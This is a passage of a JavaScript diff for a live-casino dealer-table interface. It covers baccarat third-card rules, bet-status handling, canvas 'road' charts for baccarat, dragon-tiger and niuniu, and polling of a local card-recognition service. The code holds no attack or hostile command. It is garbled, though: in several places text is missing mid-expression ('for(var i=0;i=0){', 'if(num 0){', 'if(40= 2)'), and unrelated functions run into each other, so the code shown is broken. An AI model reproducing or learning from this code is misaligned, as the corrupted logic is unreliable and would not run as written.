+ + } + } + else if (card_length == 5) { + if (card_info['player_3'] > 0) { + if (banker_result == 0 || banker_result == 1 || banker_result == 2) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (banker_result == 3) { + if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 8) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 4) { + if (card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 5) { + if (card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 6) { + if (card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } else { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + card_info=[]; + return bopai_info; + } +} +var showCardNn = function(data){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + }); + card_number_info = data; + if(card_number_info.length > 0){ + for(var i=0;i=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + } + $('#number_tab_status').val(BetStatus.bet_status); + if(BetStatus.bet_status==2){ + if (game_id == 6){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showToningBox(); + } else if(game_id == 7){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showDiceBox(); + } else { + $(".begincard").fadeIn(function(){ + if(game_id==1||game_id==2){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }else if(game_id==4||game_id==5){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + } + $('.nobegin-tip').html(""); + $('#show-status-span').html(lang[BetStatus.bet_msg]); + }); + } + }else if(BetStatus.bet_status==1){ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + }else{ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + if(game_id == 5||game_id == 4){ + if(BetStatus.rob_status == 1){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄中'); + }else if(BetStatus.rob_status == 2){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄结束,开始下注'); + } + } + } +}; +// 获取桌子数据 +var setNumberInfo = function (round){ + number_tab_id = round.number_tab_id + $('#boot_num').html(round.boot_num); + $('#number').html(round.number_tab_number); + $('#boot_id').val(round.boot_id); +}; +// 重置下注数目 +var clearBetAmount = function (){ + $('#banker_amount').html(0); + $('#player_amount').html(0); + $('#tie_amount').html(0); + $('#banker_pair_amount').html(0); + $('#player_pair_amount').html(0); + $('#all_amount').html(0); +}; +//修改或者删除录单后从新获取number +var getNumber = function (){ + var query = new Object(); + query.number_tab_id = number_tab_id; + $.ajax({ + url:"/index/get_number", + type:"POST", + dataType:"JSON", + data:query, + async:false, + success:function(data){ + if(data.status == 1){ + $('#number').html(data.data); + } + } + }) +}; +function nextAudio(){ + num+=1 + if(num 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + // mp3List = ['end_rob.mp3']; + // audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + webSocket.send('{"connect":"space","mode":"endRob","number_tab_id":"'+parseInt(number_tab_id)+'","table_id":"'+parseInt(table_id)+'"}'); + return; + } +} +function getTime() { + var today = new Date(); + var h = today.getHours(); + var minute = today.getMinutes() + var s = today.getSeconds(); + if (h < 10) { + h = "0" + h; + } + if (minute < 10) { + minute = "0" + minute; + } + if (s < 10) { + s = "0" + s; + } + if(lang.lang == 'en-us'){ + var strDate = new Date(); + strDate = strDate.toDateString() + strDate += " " + h + ":" + minute + ":" + s; + }else if(lang.lang == 'zh-cn'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + }else if(lang.lang == 'zh-tw'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + } + var n_day = today.getDay(); + switch (n_day) { + case 0: + var week = lang.sunday; + break; + case 1: + var week = lang.monday; + break; + case 2: + var week = lang.tuesday; + break; + case 3: + var week = lang.wednesday; + break; + case 4: + var week = lang.thursday; + break; + case 5: + var week = lang.friday; + break; + case 6: + var week = lang.saturday; + break; + case 7: + var week = lang.sunday; + break; + } + $('.date .weekend').html(week); + $('.date .time').html(strDate); +} +// 请求所有路单数据,执行画布刷新 +function waybillFunc(){ + var data = new Object; + data.boot_id = $('#boot_id').val(); + data.game_id = game_id; + var url="" + if(game_id==1||game_id==2){url="/index/waybill"} + else if(game_id==4||game_id==5){url="/index/waybill_nn"} + else if(game_id==6){url="/index/waybill_toning"} + $.ajax({ + url:url, + type:"POST", + dataType:"JSON", + data:data, + success:function(data){ + ludan = data; + requestData(ludan); + } + }); +} +function title(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + fonts= 'Banker'; + var font_color = '#b20a00'; + }else if(type==2){ + fonts= 'P1'; + var font_color = '#0543bc'; + }else if(type==3){ + fonts= 'P2'; + var font_color = '#0543bc'; + }else if(type==4){ + fonts= 'P3'; + var font_color = '#0543bc'; + } + if(type == 1){ + var color = '#ffad97'; + }else{ + var color = '#73d8f7'; + } + //背景色 + ctb.fillStyle = color ; // 颜色 + ctb.fillRect(x,(y-1)*unit,unit*2-1,unit-0.5); + ctb.fill(); + //文字 + ctb.font=unit*0.5+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x/2),radius+unit*(y-1)); + ctb.stroke(); +} +function requestData(data,ask,askroad){ + var ask=ask||false; + var askroad=askroad||{ + "askshowroad":false, + "askbigRoad":false, + "askbigEyeRoad":false, + "askpathway":false, + "askroach":false, + }; + bigH=$(".canvas-box.big").height(); + bigW=$(".canvas-box.big").width(); + // 计算单位 + unitbig=bigH/6; + // 计算列个数 + colbig=Math.floor(bigW/unitbig); + if(game_id==1){ CanvasTable("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==2){CanvasTableDt("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==4||game_id==5){ + unitbig=bigH/8; + colbig=Math.floor(bigW/unitbig); + if(colbig%2 == 1){ + colbig = colbig - 1; + } + CanvasTableNn("#canvas3",unitbig,8,colbig,data); + }else if(game_id==6){CanvasTableToning("#canvas3",unitbig,6,colbig,data,ask,askroad);} +} +/////百家乐珠路 +function CanvasTable(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//龙虎珠路 +function CanvasTableDt(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//色碟露珠 +function CanvasTableToning(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + } + break; + } + } +} +//牛牛珠路 +function CanvasTableNn(Id,unit,rows,cols,data){ + + var width=unit*cols, + height=unit*rows; + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j*2,0); + ctb.lineTo(unit*j*2,height); + } + ctb.closePath() + ctb.stroke(); + + ctb.beginPath(); + ctb.lineWidth = 1.5;//线条宽度 + ctb.strokeStyle = "#000";//线条颜色 + ctb.moveTo(0, unit*4); + ctb.lineTo(width, unit*4); + ctb.moveTo(0, unit*8); + ctb.lineTo(width, unit*8); + ctb.closePath() + ctb.stroke(); + title(ctb,unit,1,1,1); + title(ctb,unit,1,2,2); + title(ctb,unit,1,3,3); + title(ctb,unit,1,4,4); + title(ctb,unit,1,5,1); + title(ctb,unit,1,6,2); + title(ctb,unit,1,7,3); + title(ctb,unit,1,8,4); + // title(ctb,unit,1,9,1); + // title(ctb,unit,1,10,2); + // title(ctb,unit,1,11,3); + // title(ctb,unit,1,12,4); + cutRoadNn(ctb,unit,data.waybill,cols); +} +// 前端路单数据截取 +function cutRoad(roadType,ctb,unit,roadData,cols,ask,askroad){ + var L=roadData.length; + var new_roadData=[]; + var Tab=0 + if(roadType=="showWay"||roadType=="bigWay"){ + if(ask&&askroad){ + Tab=cols; + }else{ + Tab=cols-1; + } + }else{ + if(ask&&askroad){ + Tab=cols-1; + }else{ + Tab=cols-2; + } + } + var start_x=cols/2+0.25; + if(L>=1){ + var last_x=roadData[L-1].show_x + if(last_x>Tab){ + var cut=last_x-Tab + $.each(roadData,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + }else{ + new_roadData=roadData; + cut=0; + } + }else{ + new_roadData=roadData; + cut=0; + } + $.each(new_roadData,function(i,v){ + if(roadType=="showWay"){ + SoloPath(ctb,unit,v.show_x-cut,v.show_y,v.result,v.pair) + } + }) +} +////nn 前端路单数据截取 +function cutRoadNn(ctb,unit,data,cols){ + var L=data.length/4; + var new_roadData=[]; + var Tab=0; + last_x = (cols/2-1)*2-1; + if(L > (cols/2-1)*2-1){ + var cut = L - last_x; + $.each(data,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + $.each(new_roadData,function(i,v){ + v.show_x = v.show_x - cut; + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + }else{ + if(data){ + $.each(data,function(i,v){ + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + } + } +} +// 局数 数,文字X坐标,文字Y坐标,文字大小风格 +function Font_tie(ctb,num,Font_x,Font_y,fontsize){ + if(num!==undefined){ + ctb.beginPath(); + ctb.font=fontsize; + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillStyle ="#242424"; + ctb.fillText(num,Font_x,Font_y); + ctb.stroke(); + } +} +function SoloPath(ctb,unit,x,y,type,corners){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if (game_id == 6){ + if(type==0){ + var color='#5A5A5A'; + var fonts="0"; + ctb.strokeStyle = "#5A5A5A"; + }else if(type==1){ + var color='#5495F4'; + var fonts="1"; + ctb.strokeStyle = "#5495F4"; + }else if(type==2){ + var color='#70B252'; + var fonts="2"; + ctb.strokeStyle = "#70B252"; + }else if(type==3){ + var color='#F4BB4C'; + var fonts="3"; + ctb.strokeStyle = "#F4BB4C"; + }else if(type==4){ + var color='#E35C4C'; + var fonts="4"; + ctb.strokeStyle = "#E35C4C"; + } + } else { + if(type==1){ + var color='#ff002a'; + var fonts=""; + if(game_id==1){fonts=lang.banker;} + else if(game_id==2){ fonts=lang.dragon;} + ctb.strokeStyle = "#ff4a68"; + }else if(type==2){ + var color='#3a38f0'; + var fonts=""; + if(game_id==1){fonts=lang.player;} + else if(game_id==2){ fonts=lang.tiger;} + ctb.strokeStyle = "#7e7df6"; + }else if(type==3){ + var color='#44d024'; + var fonts=""; + if(game_id==1){fonts=lang.tie;} + else if(game_id==2){ fonts=lang.tie;} + ctb.strokeStyle = "#71df57"; + } + } + + ctb.arc(radius+unit*(x-1), radius+unit*(y-1), unit*0.45, 0, Math.PI * 2); + ctb.fillStyle=color; + ctb.fill(); + ctb.font=unit*0.6+"px Arial"; + ctb.fillStyle ="#fff" ; // 颜色 + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x-1),radius+unit*(y-1)); + ctb.stroke(); + var corner_xy=unit/3.5 + if(corners==1){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + }else if(corners==2){ + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + }else if(corners==3){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + } +} +//角标 +function corner(ctb,unit,x,y,corner_xy,corner_color){ + var radius=unit/2 + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#fff"; + ctb.arc(radius+unit*(x-1)-corner_xy, radius+unit*(y-1)-corner_xy, unit*0.13, 0, Math.PI * 2); + ctb.fillStyle=corner_color; + ctb.fill(); + ctb.stroke(); +} +/*牛牛*/ +function showPath(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 0){ + var fonts = 'N0'; + }else if(result == 1){ + var fonts = 'N1'; + }else if(result == 2){ + var fonts = 'N2'; + }else if(result == 3){ + var fonts = 'N3'; + }else if(result == 4){ + var fonts = 'N4'; + }else if(result == 5){ + var fonts = 'N5'; + }else if(result == 6){ + var fonts = 'N6'; + }else if(result == 7){ + var fonts = 'N7'; + }else if(result == 8){ + var fonts = 'N8'; + }else if(result == 9){ + var fonts = 'N9'; + }else if(result == 10){ + var fonts = 'NN'; + }else if(result == 11){ + var fonts = 'WG'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + ctb.font=unit*0.45+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +/*三卡牛牛*/ +function showPath_tc(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 1){ + var fonts = '牛1'; + }else if(result == 2){ + var fonts = '牛2'; + }else if(result == 3){ + var fonts = '牛3'; + }else if(result == 4){ + var fonts = '牛4'; + }else if(result == 5){ + var fonts = '牛5'; + }else if(result == 6){ + var fonts = '牛6'; + }else if(result == 7){ + var fonts = '牛7'; + }else if(result == 8){ + var fonts = '牛8'; + }else if(result == 9){ + var fonts = '牛9'; + }else if(result == 10){ + var fonts = '牛牛'; + }else if(result == 11){ + var fonts = '豹子'; + }else if(result == 12){ + var fonts = '同花顺'; + }else if(result == 13){ + var fonts = '皇家同花顺'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + if(result == 13){ + ctb.font=unit*0.38+"px Arial";//字的大小 + }else{ + ctb.font=unit*0.45+"px Arial";//字的大小 + } + + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +function win(ctb,unit,x,y){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + fonts = 'WIN'; + ctb.font=unit*0.25+"px Arial";//字的大小 + ctb.fillStyle = '#fff' ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,unit*(y-0.11)); + ctb.stroke(); +} +function flop_position(data){ + pokercard=data.round.card; + pokersrc="/static/poker/"+pokercard+".png"; + $('.begincard .position-card .card').css("opacity",1); + $('.begincard .position-card .card').find(".face").css("background-image","url("+pokersrc+")"); + pokercard = parseInt(pokercard); + var _position = (pokercard % 100) % 4; + switch (_position) { + case 0: + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 1: + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 2: + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 3: + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + } +} +function flop_card(data){ + order_num = data.round.order_num; + card_cow = order_num.substring(0,1); + card_list = order_num.substring(1,2) - 1; + if(card_cow == 1){ + box_name = 'player-1-card'; + if(data.round.result){ + $('.player_1_result').html(data.round.result); + } + }else if(card_cow == 2){ + box_name = 'player-2-card'; + if(data.round.result){ + $('.player_2_result').html(data.round.result); + } + }else if(card_cow == 3){ + box_name = 'player-3-card'; + if(data.round.result){ + $('.player_3_result').html(data.round.result); + } + }else if(card_cow == 4){ + box_name = 'banker-card'; + if(data.round.result){ + $('.banker_result').html(data.round.result); + } + } + if(40= 2) { + query.card = poker; + query.position = position[card.index - 1]; + + sendScanBaccarat(query); + + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + } + } + + } + }); + //} + + }, 250); + + console.log('scan cards stop...'); +} + +function doDtScanCards() { + var card = new Object(); + card.casinoTableId = casinoTableId; + + // 用局部变量 + var cardScanRecord = new Array(); + //var scanPosition = 1; + + var dtPosition = [21, 11]; + + card.count = 2; + + var api = '/recognition_multi'; + + scanTask = setInterval(function() { + console.log('scan cards start...'); + + //if(!stopScan){ + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + + // Dragon: 21 + // Tiger: 11 + + var cards = spCard(data.poker); + cards.forEach(function (v, k) { + var query = new Object(); + + if (!v.includes('n')) { + if (cardScanRecord[k] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + cardScanRecord[k] = _cardRecord; + } else { + _cardRecord = cardScanRecord[k]; + if (_cardRecord['card'] == v && _cardRecord['time'] >= 2) { + query.card = v; + query.position = dtPosition[k]; + + sendScanDt(query); + + } else { + if (_cardRecord['card'] != v) { + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[k] = _cardRecord; + } + } + } + + }); + + } + + } + }); + //} + + }, 200); + + console.log('scan cards stop...'); +} + +function doNnScanPositionCard() { + var card = new Object(); + card.casinoTableId = casinoTableId; + card.index = 21; //先扫定位牌 + var cardScanRecord = new Array(); + + var api = '/recognition'; + + positionScanTask = setInterval(function() { + console.log('scan postion[21] card start...postion:' + scanPosition); + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + sendScanNn(query); + + positionCard = parseInt(poker); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + + isPositionScaned = true; + + console.log('scan postion[21] card end and sent ' + poker); + clearInterval(positionScanTask); + positionScanTask = null; + } + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + + }, 100); +} + +function doNnScanCards() { + + //var position = ['11', '12', '21', '22', '13', '23']; + var card = new Object(); + card.casinoTableId = casinoTableId; + //card.index = 21; //先扫定位牌 + + var cardScanRecord = new Array(); + + var api = '/recognition'; + + scanTask = setInterval(function() { + console.log('scan cards start...postion:' + scanPosition); + + if (!isPositionScaned || positionScanTask != null || scanPosition == 0) { + console.log('定位牌未扫描。'); + return false; + } + card.index = scanPosition; + + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + } + sendScanNn(query); + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + }, 200); + console.log('scan cards stop...'); +} + + +function spCard(data) { + var cc = data.split('_'); + cc.forEach(function (v, k) { + if (!v.includes('n')) { + cc[k] = formatCardData(v); + } + }); + return cc; +} +function formatCardData(card) { + // card: b-1 + var s = card.substr(0, 1); + var c = card.substr(2, 1); + var h = ''; + var n = ''; + switch(s) { + case 'b':h = '1';break; + case 'r':h = '2';break; + case 'm':h = '3';break; + default:h = '4';break; + } + switch(c) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case '0': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + default : n = '13'; break; + } + var result = h + n; + return result; +} +function cardToServer(card) { + // card: 3d + + if (card == '' || (card == undefined && card.length != 2)) { + return 'None'; + } + + var s = card.substr(0, 1); + s = 